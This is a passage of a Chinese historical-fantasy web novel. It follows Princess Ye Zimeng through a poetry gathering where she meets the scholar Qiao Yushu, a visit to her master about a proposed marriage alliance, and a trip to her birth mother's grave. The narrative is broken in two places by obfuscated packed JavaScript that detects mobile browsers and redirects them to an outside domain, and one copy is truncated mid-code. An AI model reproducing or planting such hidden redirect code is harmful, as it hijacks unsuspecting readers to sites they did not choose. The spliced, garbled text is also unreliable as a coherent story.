“呵呵,”叶子萌点点头,“原来是这样,看来魏国的朝政也很复杂啊……” “谁说不是呢,”梦桃插话道,“就拿乔与书来说,爹爹说朝廷也不太重视,其实就是以蒋相国为首的那些老家伙,对乔与书暗暗排挤,甚至称他‘乳臭未干’,竭力贬低,生怕他来朝廷分他们一杯羹……” “哎哎,”石亲王忙说,“过了过了,没那么严重,你一介女子,懂什么!” …… 当晚,梦桃与叶子萌这两个闺蜜,说了一晚上的悄悄话,叶子萌这才得知,梦桃与她表哥石休染原来早已是两情相悦,只是她父母还暂时不知详情而已。 梦桃并不知“和亲”一事,于是问叶子萌道:“你呢,是否已有了自己的心仪之人?” 叶子萌现在哪有心情去想这等事,又不便与梦桃说明,于是摇摇头。 梦桃便笑着说道:“明日赛诗会上,定有不少青年才俊呢……”见叶子萌并不应声,便无趣地说,“好吧,我猜你也累了,我们先睡觉,明日再说……” 不一会,梦桃就传来轻轻的酣声,反倒更衬托出这夜的静。 而叶子萌在这静夜中,却思绪万千,久久不能入睡,生母之死的悲惨场景,与她幻化在天空唤她的梦境,老是交替出现,浮现在她眼前,直到子夜时分,她才慢慢昏昏睡去…… 39. 公主才俊,情投意合 翌日中午后,麓书院举行盛大的赛诗会,梦桃带叶子萌去时,书院里已是热闹非凡,各路才俊相聚厅堂,在那里吟诗作对、说文论理,谈笑风生…… 这时,昨日在船舫吟诵何逊诗的文人雅士,正与另一文人在那里闲谈,一见梦桃和叶子萌,便与那人鱼贯而来,指着叶子萌说:“昨日看见溪边的那位蓝衣才女,可就是你?” 叶子萌没有作声,只是微微欠欠身子,鞠了一躬,算是致礼。那人还要说什么,一旁的梦桃将他拨开,与叶子萌绕了过去。 石休染正与一个青年才俊在那里谈论什么,看到梦桃,便拉着那个才俊一同过来,他是见过叶子萌的,对叶子萌施礼道:“公主,欢迎你来到杏花坞!” 叶子萌回礼,然后石休染又对她介绍身边那个青年才俊道:“这位是我好友、大才子乔与书;这位是叶子萌、悒国的明浩公主……” “哦?公主?”乔与书一听,连忙拱手道,“在下乔与书,拜见公主,公主这是民间私访?所为何事?” “哎呀,乔公子就别贫了,”梦桃马上打断他,说,“子萌妹妹与我是好朋友,人家可从来没什么架子的……” 叶子萌抿嘴一笑,对乔与书恭敬致礼,然后就去打量他,只见这位年方二十的青年,身穿一袭素雅白袍,举止儒雅,气貌清逸,面带微笑,站立之姿有如玉树临风,好一个潇洒脱俗的俊美男子! 乔与书也在打量她,只见这位公主身穿蔚蓝色丝绸衣衫,几朵白梅花点缀,倒也显得素雅,模样儿也清新脱俗,天真无邪,抿着嘴时嘴角微翘,一双清澈的眼眸如天上浩月,好一个轻灵之气的秀美少女! 一旁的梦桃瞧着走了神的叶子萌和乔与书,忍不住掩嘴偷笑,叶子萌和乔与书这才各自回过神来,有些不好意思了,却又不知该说什么,甚是尴尬…… 石休染看看梦桃,又瞧瞧叶子萌和乔与书,似乎也明白了一些什么,于是对乔与书打趣道:“哎,乔兄平时不是喜欢长卿那篇流芳传世的赋作吗,今天诗会,你不如给我们朗诵朗诵,以助大家雅兴!” 乔与书一听,有点懵,望着他说道:“你这石兄有些奇怪,我何时说过自己喜欢司马相如的赋了?” 石休染却不管他,兀自打趣道:“你若不好意思,那我来替你念念吧……”然后清清嗓子,一边踱步一边朗诵起来—— “有一美人兮,见之不忘。一日不见兮,思之如狂。凤飞翱翔兮,四海求凰。无奈佳人兮,不在东墙。将琴代语兮,聊写衷肠。何时见许兮,慰我彷徨……” 乔与书听了更是尴尬,但他这人倒是聪慧之极,转瞬之间,又拍手叫好起来,说道:“石兄真是醉翁之意不在酒啊!梦桃妹妹,他这是借以说我,实则在向你聊表心迹,倾诉他思念妹妹而夜不能寐的衷肠啊!” 梦桃笑道:“是么?明明在说你,怎么又绕到我身上来了?”说着又掉头对叶子萌说,“子萌,你看这些才俊,明明心里有所想,却不敢大胆吐露心怀,难怪我爹爹说,这魏国才子个个都熟读太公六韬,却缺少像蒋相国那样具有雄才大略的人才啊……” 梦桃明显是在用此法故意去激将乔与书,不料乔与书听了,却认真起来,纠正她说道:“郡主此言差矣,蒋相国虽然有些才略,但此人过于圆滑老成,凡事明哲保身,缺乏当年屈子那种对楚国的忠心和大义凛然……” “糟了糟了,”梦桃掉头对叶子萌小声说,“我不小心又触动了乔与书那根‘精忠报国’的神经,这下他又该没完没了了……” 乔与书正要继续抒怀,梦桃却打断他说:“这样吧,我与休染哥哥去那边看看,子萌妹妹和与书哥哥在这里继续聊聊,我们一会就过来……”还未等叶子萌回过神来,梦桃已拉着石休染朝那边跑去。 乔与书见他们离去,于是又对叶子萌说:“对了,说到楚国,我倒联想起今天的各国,唉,这些历史的情形,有时是多么地相似啊!” “哦?”叶子萌心里砰然一动,很想听听,“乔公子不妨说说,为何相似?” 正在这时,书院宣布赛诗开始,以《诗经》中的采桑歌《十亩之间》为题作诗,此原句“十亩之间兮,桑者闲闲兮,行与子还兮”,看似田园之乐,却暗藏深意,要各位文士才俊自由发挥,竞呈才华…… 诗人们纷纷拿过纸笔,研磨墨宝,开始即兴发挥,一时间那些麻纸和黄纸的条幅上,龙飞凤舞,名句迭出,诗意深邃,境界高迈…… 再看乔与书,对此却毫无兴致,他见叶子萌对他先前的论述不仅不反感厌弃,竟然还愿意聆听,于是便更来劲了,兴奋地说:“走,我们暂离这书生艳词充斥之地,如何?” “去哪?”叶子萌不明白。 乔与书便说:“目前,各国的局势情形是这样的……来,你跟着我,我给你看一样东西……” “看一样东西?”叶子萌喃喃说。 “嗯。”乔与书点点头。 于是,叶子萌懵懵懂懂地跟着乔与书出了麓书院大门,来到院墙外面的一个草坡上,只见他指着坡下的一处田园说:“就是这东西,刚才赛诗不是说以《诗经》中的《十亩之间》为题作诗吗,这里也算‘十亩之间’了……” 叶子萌望着那里,似乎什么也没有,于是回过头,不解地望着他。 乔与书解释说:“你仔细看这些耕田,像不像国土?那里恰好有三块被溪流分开的耕田,从这里看去,右边那爿田地相当于悒国,上方那爿田地把它比喻是北旗,左边那爿田地就是魏国了……” 叶子萌仔细一看,那些耕田的边缘曲折绵延,倒是有些像缩小的疆土了,她顿时觉得乔与书这人有点意思,于是就仔细听他想要说什么。 乔与书抖抖袖袍,又指着面前的那些田畴说:“北旗历来彪悍好战,粗犷性情与中土人士的温厚圆润判若云泥;魏国呢,采取的是文治之道,注重通商宽农、休养生息;其他小国也是明哲保身,各有各的打算;悒国就处于这中间,既要拉拢魏国,又得小心对付北旗……” 叶子萌静静地听着乔与书分析形势,这位青年才俊继续滔滔不绝,同时又引经据典,借古喻今,渐渐在叶子萌眼里,就勾勒出一幅愈加清晰的历史图卷,而她自己也被卷入了这幅图卷之中…… 叶子萌犹豫片刻,问道:“如同乔公子所言,悒国若对北旗采取怀柔方略,其中最奏效的办法是什么?” 乔与书想都未想,就将双臂一摊,讽刺地笑道:“无疑是和亲之策呀,这是向对方国家最显真诚、最为保险的一种做法!” “和亲?”叶子萌一听,心中微微一震。 “是啊,和亲!”乔与书说道,“悒国就准备和亲,现在这消息已经传遍,好像要将一个公主派去与北旗皇子联姻……只是,我还不知是哪位公主?对了,你……你就来自悒国皇宫吧,可否有些消息?” 叶子萌此时完全石化,她一点没料到,和亲消息竟像长了翅膀似地飞传得这么快、这么远,连魏国的人都知道了,而她还以为别人不知。 看来,好似有人在造势一般,要把这生米煮成熟饭,任人大啖? 她抬起头来,却见乔与书正在瞧他,那眼神似有些奇怪,于是便有些害羞,不料那才俊却说:“你不会早已知道了此事吧?对了,悒国和亲的公主,这……不会就是你吧?你这次回魏国爹娘处,不会是……” 一连几个“不会是……”,诘问得叶子萌无所适从,且羞红了脸腮,于是低下头暗想,我不如就告诉这才俊,看看他又会怎样分析?于是点头小声道:“太后的确试探过我,看我是否 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麓书院里闹哄哄的,那些文人雅士做诗的做诗,抒发胸怀的抒发胸怀,还有几个书生竟然为了一首诗歌争吵起来,甚至大打出手,一片嘈杂声不绝于耳。 究其原因,原来是因原诗《十亩之间》中的“桑者”,有个文人说是“采桑姑娘”,而另一个雅士却不同意,认为是“采桑老妪”,谁也说服不了谁,只好用拳头说话,但拳头无力也不大抵事,只好又抱成一团摔打起来。 …… 天,渐渐已近黄昏,书院外的草坡上,乔与书静静地听着叶子萌的讲述,已完全抑制不住自己情感,他怎么也没料到,一个看上去如此天真稚嫩的青春少女,一个贵为公主、应呆在宫闱中享受荣华的女孩,竟然经历了这么多的风波和人生磨难! 他不禁联想起自己漂泊凄苦的人生,以及同样也去世的双亲,那眼里的泪花,竟不知不觉地在眼眶边慢慢浸润着,到后来竟是无语凝噎,便只任那心中的波涛,像大海一样汹涌激荡和翻滚起来…… 叶子萌见他这样伤感酸楚,心里不由大恸,想,这个才俊这般地真诚,这般地重情重义,于她来说,真比金子珍贵,她不禁从怀里掏出一张白色罗帕递到他手里,要他揩了泪痕。 乔与书眼睛一闭,那晶亮的泪珠便掉下几滴,他便用罗帕轻轻揩擦去泪痕,然后叹口气,不好意思地笑笑。 夕阳西下,残阳似血,叶子萌望着那抹红霞,联想起那些彼岸花……四处异常地安静,唯有溪流的潺潺水声。忽然,一群大雁从北方天边飞来,黑压压的像一排排拎枪握刀的武士,让她禁不住打了个寒颤。 这时,在书院到处寻不着他们的梦桃,终于寻到这里来了,却见他俩竟在那草坡上静静地并排坐着,之前活泼好动的公主和慷慨激昂的才俊,现在却变得如此静若处子,要不是自己亲眼得见,还不会相信呢! 梦桃犹豫片刻,又轻手轻脚地退了回去,决定不去打扰这两个奇怪的人,就让他们就在那广袤的天地中,多多地享受着这难得的静好时光吧。 当晚,叶子萌与梦桃自然聊起了乔与书,梦桃把自己所知道的、有关乔与书的一些生世和自己父王对他的评价,都一一相告。 叶子萌只是听着,很少插话,一会,梦桃以为她睡了,侧过脸一看,没有睡,一双亮晶晶的眼眸望着窗外的空中。 于是梦桃又继续讲:“这个乔与书有时还真是奇怪,明明是郁郁不得志,但他从来都不肯承认,总说人生本就是坡坡坎坎,他总有一天会从低谷中走出来……”聊着聊着,就静下来,等待叶子萌的看法。 却没见她应声,只听到她的微鼾,扭头一看,原来她已睡着……这一天她似乎经历得太多,实在是累了。 40. 玉佩摔碎,求教师尊 第二日,叶子萌寻思着还是应快快回去,梦桃挽留不住,便和石休染一道把她送到官道旁的坡地上。此时,就要离开杏花坞,叶子萌倒有些不舍,她拉着梦桃的手,与他们互相道别的同时,又悄悄掉头看看远处,梦桃就笑,问她究竟在看甚? 叶子萌百感交集、思绪纷繁,其实,此时此刻,她并不十分地希望那个偶然相识的乔与书来送她,她还记得师父氼影尊者曾对她的教诲,还字字在耳—— “这世间无论何人,都是或匆忙或缓行的过客,即使相识一场,也是一时的缘分,不必过于执拗,否则忘了修行,反陷入情迷泥潭……” 只是,作为一个活生生的人,尤其是一个血肉之躯的怀春少女,她对情感的种种已初有感触,撇不开,譬如现在,她的潜意识里就希望那人出现,究竟为何,自己也不很清楚。 叶子萌见梦桃笑她、问她,于是慌不择言地掩盖说:“我只是想起昨日自己那张罗帕还在乔公子处没还我,我娘亲曾说过,女孩家的东西不能随便乱扔,以免引起误会……” 梦桃看她那羞赧的模样,便又笑:“随便乱扔,怎么没扔给我?送出去的东西,难道还想要回?……” 就在两少女在那里打趣时,这时就听见远处忽有马的嘶鸣,并传来乔与书的声音:“子萌妹妹,请等等……” 掉头一看,就见乔与书策马而来,渐渐近了,然后下马,快步过来说道:“子萌妹妹怎么不提前说一声,我去石府才知你要走了。” 叶子萌见他来了,反倒又不想见他了,心里充满了纠结、矛盾的复杂感情,就像波涛在翻滚一样。 “乔公子还有何事?”叶子萌问。昨日两人交谈的那一幕又浮现在她眼前,她感觉这乔公子也是个性情中人,非常率真,是个值得她信任的朋友,自己或许还和他有些缘分?否则自己怎么会对他有那种从未有过的、非常特殊的感觉呢? “这……”乔与书有些语塞。他犹豫片刻,慢慢从怀中取出一物,旁边的梦桃便睁大眼睛去看,就想看看他那张罗帕怎么还? 乔与书掏出的却不是罗帕,而是一块小小的白玉佩,还缀着丝线穗子,玉佩在朝阳的映照下,晶莹剔透,白里透红,十分地纯粹…… 梦桃的眼睛睁得更大,有些惊讶了。 乔与书拿着此物,迟疑着对叶子萌说:“这是家母生前留给我的东西,不知子萌妹妹是否喜欢?若不嫌弃,还望收下,作个留念……” 梦桃马上掉头去看叶子萌。 “为何送我这个?”叶子萌既羞怯又尴尬。 乔与书顿时也很尴尬,磨磨蹭蹭地说:“这……对了,昨日你给了我一张白色罗帕,我用脏不便还你,于是就想回赠你一件东西,就选了这白玉佩……” “这……”叶子萌望着他手里的玉佩,说,“这代表什么意思呢?” 乔与书硬着头皮说:“有道是,玉如君子之正直,君子如玉之高洁,你见玉佩,如见我面,这就是你我的……的……” 一旁的梦桃见他脸涨得通红,说不出口来,于是脱口帮他说道:“信物!” 乔与书一听,算是默认。 可是,叶子萌却不敢接这“信物”,也不愿让无辜的他卷入自己的人生旋涡中;其次,父母被害,仇人未寻,过早沉湎私情实不应该;再者,师尊那里…… 乔与书自然不知她心里所想,那体如凝脂的玉佩已然递到叶子萌面前,她迟疑且慌乱去接,也想着去推,不料一时恍惚未拿稳,那玉佩竟突然滑落掉在地上,只听一声清脆的响声,玉佩即刻就在石上摔成了两半! 叶子萌“哎呀”一声,连忙捡起玉佩查看……而此时,乔与书眼神惶恐,脸色也变得煞白,一旁的梦桃也不知所措,捧着叶子萌的手看那已碎的玉佩…… 还是旁边的石休染脑子转得快,他立即说道:“妙哉!此是‘宁可玉碎、不可瓦全’之象,正是乔兄做人风骨之体现,有寓意,不妨事,不妨事!” 这话提醒了叶子萌,她忙说:“谢谢与书哥哥美意,我拿回去请人妙手粘缝,定不会有一丝半点痕迹……”说着将那两块残玉收下,揣入怀中。 叶子萌将“乔公子”称呼换成了“与书哥哥”,纯粹是脱口而出,却又有另一些妙用,它让乔与书惶恐的心,竟得到一丝儿安慰。 不过,他一时语塞,不知该说什么好,半晌才释然地笑道:“对了,子萌妹妹一路小心,希望你以后有空再来我杏花坞,这……这个……” 叶子萌就像一个做错事的小孩儿那样,简直不敢去正眼看他,待慌乱施礼后,便跃上马匹,往西边的方向匆匆驰骋而去。 留下三人呆呆地望着她背影。末了梦桃喃喃地说了一句:“乔公子,接下来就要看你的造化,是该你施展才能的时候了!” …… 叶子萌回到圣武堂,武馆里的师兄师姐见她终于回来,一起拥上来热情地唤她,有的帮她牵马,有的问长问短,还有的端水拿帕,替她洗除旅途劳顿…… 这时云媃来了,观察着她的表情,并小声对她说:“师父和师娘都知道你生母的事了,在后院厅堂等着你,快去吧……” 叶子萌去了后院,沐灏天和媚娘一见她来,连忙背过去擦擦眼睛,然后回过头对她强装笑脸,道:“子萌回来啦……” 叶子萌一见媚娘,就像久别多年似的,忍不住奔跑过去,抱住了媚娘,伤心地哭喊道:“娘亲……爹爹……” 媚娘的泪水又扑簌簌地流下来,她轻轻地拍着叶子萌的肩头,不知该说什么好。 叶子萌感受着这份难得的亲情母爱,虽然自己生母早已不在人世,但养父母给与她的温暖,不亚于亲生爹娘,她不由对上天的惠赐无比感恩。 这时媚娘说:“这次我陪你一起去悒国京都,去寻找你生母的坟地……” 一旁的沐灏天连忙悄悄对她摇了摇头,于是她迟疑着又改口:“不过呢,我去就怕给你增加麻烦,还是缓缓再说,以后有的是时间去……这样,你找到你生母的坟后,记得替我们给她多烧两炷香,多说几句话……” 沐灏天也说:“你找到生母坟这件事,对太后估计也瞒不住多久,你要事先有心理准备,看看怎么说为宜……” 叶子萌点点头。 “对了,”沐灏天又问,“还有和亲,云媃和静香她们都给我们讲了讲,这究竟是怎么回事,北旗的大皇子高炜真的看中了你?朝廷真要把你送去北边?这是陛下的意思,还是太后的意思?” “太后还在征求我的意见,”叶子萌,“看得出她是舍不得我走,我想这只是陛下的意思吧,这件事的背后可能还比较复杂……” “那你给我们仔细说说,”沐灏天道,“不要漏掉一切蛛丝马迹!” 叶子萌点点头,将事情的前因后果仔细捋了捋,然后慢慢又将这件事对他们复述了一遍……期间,沐灏天和媚娘都听得很仔细,生怕漏掉了什么。 沐灏天听完之后,说道:“从表面看,你是公主,对方是皇子,按理也算门当户对,且和亲一事对两国交好也颇有好处……” 媚娘的眉头就皱了起来。 沐灏天瞥她一眼,话头一转,又说:“可是,实际情况却往往并非如此,这显然是一场多方势力的角逐与博弈,只是拿你当了一枚棋子,甚至当了牺牲品!” 叶子萌说:“爹爹,你想过没有,这背后是否还隐藏着一场更大的阴谋?” “当然想过,”沐灏天说,“若是那样,情况就更糟,因为目前你在明处,对方在暗处,所谓‘暗箭难防’啊!” 叶子萌一听“箭”,立刻联想到上次去悒国京城途中,自己所遭遇的那一箭,于是问道:“爹爹,上次我们去悒国京城途中发生的事,你知道了吧?” 沐灏天点点头。 叶子萌问:“那暗中保护我的,是不是你?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885077|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沐灏天摇摇头,道:“我听说后,也很纳闷,那高手来无踪、去无影,究竟是谁呢?” 这时,一旁的媚娘说话了:“子萌,我看这事你还得去昆仑山问问你师父,另外,和亲一事也需征求下他老人家的意见,老人家见识高远,必有益于你。” 沐灏天也点头道:“看来也只有这样了,你去他那里讨讨招,做到心里有数。” “是的,”叶子萌说,“我其实也正有这个打算,但是没对太后提这个,只说是回来征求你们俩的意见。” 沐灏天听了,马上说:“对,你谨慎点好,以后都要这样,凡事多动动脑筋!” …… 翌日一早,叶子萌就朝昆仑山古楼峰方向赶去,一进山,她便运起轻功,展开双臂飞升,朝那连绵高耸的山脊,疾速而去…… 像知道她要来似的,在那株苍松下,灵童子这时也来了,就站在那里等着她,见她来了,也不多说什么,便在前面引领,两人就跨越在茫茫薄雾中,衣袂飘飘,御风而行。 一会,来到古楼峰的灵霄洞,叶子萌又见洞外红花灿灿,以前也似看到过,那时却没去细看,也没去细想,这次定睛一看,竟然是一簇簇彼岸花。山上气候寒冷,彼岸花开的时间要迟得多,山下已是残花,山上却正开得艳丽,甚是奇特! 叶子萌的心头开始微微颤动,酸楚阵阵翻涌,于是掉过头不去看它。她径直走进洞厅,见到正双目微闭的氼影尊者,便恭恭敬敬地叩首拜道:“师父,弟子子萌来了,你老人家可还安好?” 氼影尊者眼睛睁开,望着她慈祥地微笑道:“这次徒儿来,又想讨教何事呢?” 叶子萌觉得师父话里有话,便站起身反问道:“师尊怎知我是来讨教的?” 一旁的灵童子似乎觉得她出去转了一遭,就变得有些“钝”了,忍不住插了一嘴:“圣人曰,足不出户便知天下事……” 叶子萌顿时记起经文上的话:不出户,知天下;不窥牖,见天道……于是她忙伏地又拜,羞赧地说:“师尊,对不起,是我愚钝了……” 氼影老人呵呵一笑,挥挥手,示意她起身,在一侧椅上坐下,这才对她说道:“天地之事,世事更迭,忽然而已;修行之人,不近色怎知色空,子萌徒儿要好好历练,深明其理,不放过丝毫细节……” 叶子萌经师父一点拨,总能在颈瓶处豁然开朗,但她毕竟是局中之人,所以那桩桩件件的事,都想去厘清。 她忍不住问道:“徒儿想向师尊讨教,之前我由魏国去悒国京都途中,差点遭遇暗箭,幸亏有绝顶高人暗中搭救,我想知道那搭救之人是谁?” 氼影尊者未直接回答,只是拿眼去看站在那边的灵童子,叶子萌也随着氼影尊者的目光去看他,这时只见灵童子向氼影尊者双手一拱,面无表情说道:“回禀师尊,徒儿不知……” 于是氼影尊者便转过头,对叶子萌说:“凡事有因有果,天道而已,你且顺其自然,勿去忧虑,有些事情看上去凶险,却会在易变中化为乌有。” “那么和亲之事我又该如何?”叶子萌趁机问,“爹爹这次主动让我上山,前来向师父讨教一二,他说和亲毕竟是两国邦交大事,且又要提防其中是否有预谋,提早知晓,以防不测……” 氼影尊者听了,脸色凝重,眉毛一挑,于是闭目冥想,但见他睫毛微微颤动……少顷,眉头舒展,睁开眼来,慈祥地对叶子萌说道:“此事的确阴气太盛,而且血腥过浓,只源于你身处其中,才有所感应;不过天佑善人,也不妨事……此乃天机,不宜多说……” 字字句句,叶子萌都牢牢记住,于是她拱手一拜:“多谢师尊点拨!” 氼影尊者呵呵一笑,起身拉着她的手,慢慢朝洞厅外走去,似要看看外面风景,她连忙扶着师父的右臂,一同出了洞厅。 灵童子在后见状,连忙跟上,也搀扶了师父左臂一把,显得毕恭毕敬。 41.祭拜母坟,面见太后 叶子萌随着师父走出洞厅,自然又看到外面那一簇簇红灿灿的花,于是先前心头残留的酸楚又萌动起来,有些避不开的伤感。氼影尊者回头看看她,便柔声地问道:“孩子,你还有什么心事没告诉为师?” 叶子萌听师父这么一问,眼睛就红了,她不想再隐瞒了,索性将自己生母十几年前在太阴宫惨死、后遇宫女浣菱她才得知详情一事,告诉了师父…… 氼影尊者听了,神情凝重,然后叹了口气,缓缓说道:“人生在世,十之八九都有或大或小的劫难,这是早就安排好的修行之路。有时,有些‘恶人’也能躲过一劫,有些‘善人’却不能躲过劫难,这背后其实有很深的缘由,不能只看表面……现在,这件悲伤之事你不幸遇上,若是想哭,就痛痛快快地去哭一场吧,这个过程你总要去经历……” 叶子萌的泪水已经流过,她发现那些悲伤早已被她埋在了心底,现在只剩下另一些深深的思索,倒仿佛氼影尊者在慢慢地引导着她,朝某个她所不能预料的远方,迷迷瞪瞪地蹒跚而去。 叶子萌终于控制住,没有哭,氼影尊者望着她,灵童子也在注视着他,最后师徒二人相互看一眼,似乎有些心领神会。 可是,这时叶子萌却开始发问了:“师父,我不明白,为何必须要经历这些让人伤心的过程呢?” 氼影尊者想了想,看见旁边树上吊着一个梨子,于是摘下来,指着梨子说:“这就像梨子,若你从未吃过,不知滋味,无论我怎样给你开示解释,说那味道是如何如何的甜,也只是一堆语言文字,容易让你着文字相,而只有让你亲口尝尝,虽没说一句话,你也知道梨子是什么滋味了呀。” 叶子萌若有所思地点点头,然后又继续问:“为何必须是我经历,而不是灵童子去经历呢?” 灵童子一愣,正要说什么,看看氼影尊者,连忙又把话吞了回去。 氼影尊者思忖片刻,回答道:“从修行人的角度来说,路人乙的阶位、根器、乃至于福报,恐怕都没有路人甲高,所以人生要让路人甲磨难,要让路人甲蒙尘,最终是要给路人甲光亮,除去了铜镜上的尘,那面镜子不就更加光彩照人了吗?” “原来我又是路人甲了?”叶子萌暗想,“这是什么意思呢?灵童子就是路人乙吗?但他的修为和道行明明比我高呀?” …… 深夜,待叶子萌在洞厅歇息后,氼影尊者便把灵童子叫到月光照临的崖顶,望着远处涌动翻腾的茫茫云海,半晌才问道:“你师弟来过云霄洞?” 灵童子沉默着,只微微点点头。 “他说了什么?”氼影尊者问。 灵童子回道:“他说他无颜见你,也知道师父新收了一徒……” “我明白了……”氼影尊者手把白髯,叹了口气。 少顷,氼影尊者又问:“白天我跟你师妹说的那些话,你不会介意吧?” “师父说了什么话?”灵童子问,“我一句也不记得了……” 氼影尊者不再深问,只微微一笑。 …… 翌日上午,睡过了头的叶子萌醒来,感觉精神非常饱满,吃了点东西,便告辞了师父和师兄,然后启程,回到圣武堂。 只小住一日,又要告别沐灏天和媚娘了,她之所以这样急切,是牵挂着要尽快去寻浣菱婶,请她带她去寻自己生母坟,燃香祭拜,尽自己一点孝心,了却一桩心事。 沐灏天和媚娘这次把她们送到大门外还不想回去,沐灏天一再叮嘱叶子萌做什么事都需小心,而媚娘却让她放宽心,要她相信自己的师父,师父都说“天佑善人”,那就无妨。 之后,叶子萌带着云媃和静香启程,匆匆赶回悒国京都,回到了聂王府。 翌日清晨,她让云媃歇息一日,好好养伤,就只带静香一人,按照浣菱告诉的地址,然后在城北一小巷子里找到浣菱。 浣菱婶现在的丈夫钱大牛,是个五十来岁的老实人,曾是京城一家棺材铺的伙计,老板去江南做大买卖后,他就盘下棺材铺继续经营,并以此为生。 钱大牛已从妻子浣菱口中得知,这位明浩公主就是当年被他掩埋的宫里贵人的女儿,于是对叶子萌尊敬有加,并准备了一些香蜡纸钱,与浣菱一道,带着叶子萌和静香一并朝城外而去。 郊外的一座荒山上,在一片野树林的背后,果然有一座隆起的无名氏坟墓,虽然每年清明浣菱会来这里烧点纸钱,但毕竟经风吹雨淋,坟墓之土下陷,又野草肆虐,因此看上去荒凉得有些瘆人…… 叶子萌目睹此凄凉之景,联想起浣菱对她描述的那个腥风血雨的夜晚,心中就又难受得不能把持,鼻头也开始发酸。 点上蜡烛,燃起纸钱,竟一时不知该说什么好,于是跪伏地上,叩首三拜……拜时忽然瞥见坟的左侧似有一簇残败红花,定睛细看,竟认出又是几朵彼岸花。 这几朵残花虽已枯萎毫不惹眼,但也是那样殷红如凝血一般,到了此时,叶子萌更是百思不解,觉得这花像有灵性似的,一直与她有着某种联系。 难道是老天……不,难道是生母在用这花来对她进行一种提示?若是这样,那究竟又是什么提示呢? 叶子萌苦思冥想,也悟不透这隐藏的玄机,但就在这时,她脑子忽然灵光一现,打算“为母迁坟、替她鸣冤”的念头突然冒了出来,而且愈发地坚决。她不能让自己生母的魂魄就这样孤零零地继续游荡在这荒郊野岭里…… 叶子萌从钱大牛手里拿过铁铲,替母亲的坟墓培了几铲新土,然后又转身朝浣菱跪下一拜:“菱婶,多谢你常来陪伴我母亲、替我祭拜,子萌在这里向你磕头了……” “哎呀,使不得使不得……”浣菱连忙去扶叶子萌,“公主,快快请起……” 叶子萌站起身来,犹豫着对她说道:“菱婶,我还有一事……但不知你怎么看?” 浣菱说道:“公主有事尽管说。” “我打算游说皇祖母,替母妃迁坟……”叶子萌将自己刚冒出的想法对浣菱讲了,末了说:“唯一不放心的是,迁坟一事若未成功,也许还会连累菱婶一家,这是我最不愿看到、也是最担心的。” 浣菱一听,异常地感动,当年她跟随太子妃李慧儿,李慧儿待她不薄,两人有了很深的感情,所以后来当李慧儿被打入冷宫,她也不弃不离地跟着,两人就像姐妹一般。 她当即说道:“当年你父亲已是储君,你母妃也算未来的皇后,储君死后都能葬入皇家陵园,若你生母最终也能葬入陵园,与你生父相聚一起,也算正本清源,那真是件天大的好事啊!我高兴还来不及,即使可能会受牵连,那又算得了什么?” 一旁的钱大牛也很爽快,道:“怕什么,大不了又多两具棺材,现成的!” 叶子萌十分感动,又向他俩伏地跪拜,道:“多谢菱婶、钱叔,若中途发生变故,我定会尽力作出安排,护你们周全……” “快快起来,公主……”菱婶连忙又将她扶起。 正说着,忽有一只羽色鲜黄、翅子尖长的黄鹂从背后树林中扑腾飞起,冲上蓝天,叫声清丽悦耳,叶子萌循声望去,久久看着,直到这只漂亮的鸟儿飞向天边。 …… 其实,就在叶子萌回到京城的当天,就有密报传进宫中,太后与皇帝都获知她回来的消息。 按理,公主一回来,就应该先来太后这里禀报,因为太后还等着她回“和亲消息”呢,不料等到第二日,她还没来,皇帝叶真就来请安了。 其实,皇帝是怕自己错过当面聆听叶子萌带回的“消息”。 叶真进了千寿宫,一同而来的王公公就候在千寿宫殿外,恰好李公公也在殿外,两人就拱拱手,微微点头一笑,也不多说什么,李公公就抬头去看看天,王公公就顺下眉去瞧瞧地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894318|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,恰好空中掠过一只白鸽,同时见宫中那只神鹰从对面宫殿的脊梁上冒出影儿,忽地斜冲过来,要去扑食那只白鸽。 不料白鸽突然一扭身子,就从神鹰的翅子下钻了过去,这种鸽子一看就知不凡,说时迟那时快,只见李公公拈起地上一粒什么,随手一弾,立刻就见那只鸽子扑腾着翅子栽了下来,掉在不远的花缸旁边。 “好功夫!”王公公对着李公公竖起拇指,然后小跑着过去,从花缸旁边捡起那只鸽子,又小跑着过来,把这只已毙命的鸽子递给李公公,“瞧,还是一只仔鸽,可拿去替太后煲一锅人参鸽子汤……” 李公公微微一笑,接过鸽子,验看一眼,倒也干净无可疑之处,于是塞进自己袖袍里。 这时,只听殿内传来太后一声唤,李公公便进了殿去,恭恭敬敬站着,也不看太后和皇帝,只盯着地,就像他的眼皮儿从来都翻不上去似的。 太后对他说道:“你或王公公去一趟聂王府传我懿旨,让明浩公主来我这一趟……”又嘀咕道,“这孩子野惯了,又不知跑到哪去了。” 李公公道:“是。”便出去。 在门口处又见到王公公,他停顿一下,顺手将那只死鸽子从袖袍里取出塞给他:“我去聂王府传明浩公主,这鸽子还是你拿回去替皇上煲人参汤吧……” 王公公一把抓住李公公,道:“还是我去吧,正好我还要找聂王府说个事……”顺便又将死鸽子朝李公公怀里一塞,然后朝宫外快步而去。 李公公拿着这只死鸽子,瞧着王公公的背影,无可奈何地笑了笑。 叶子萌和静香刚回聂王府,恰好就遇王公公来聂王府了,见到叶子萌就说:“太后知道公主回来了,传公主进宫觐见,皇上也在她那儿……” 说这话时,王公公虽然盯着地上,但说完话却把眼睛翻上来,看了叶子萌一眼,笑着又补了一句:“太后是想你了……” 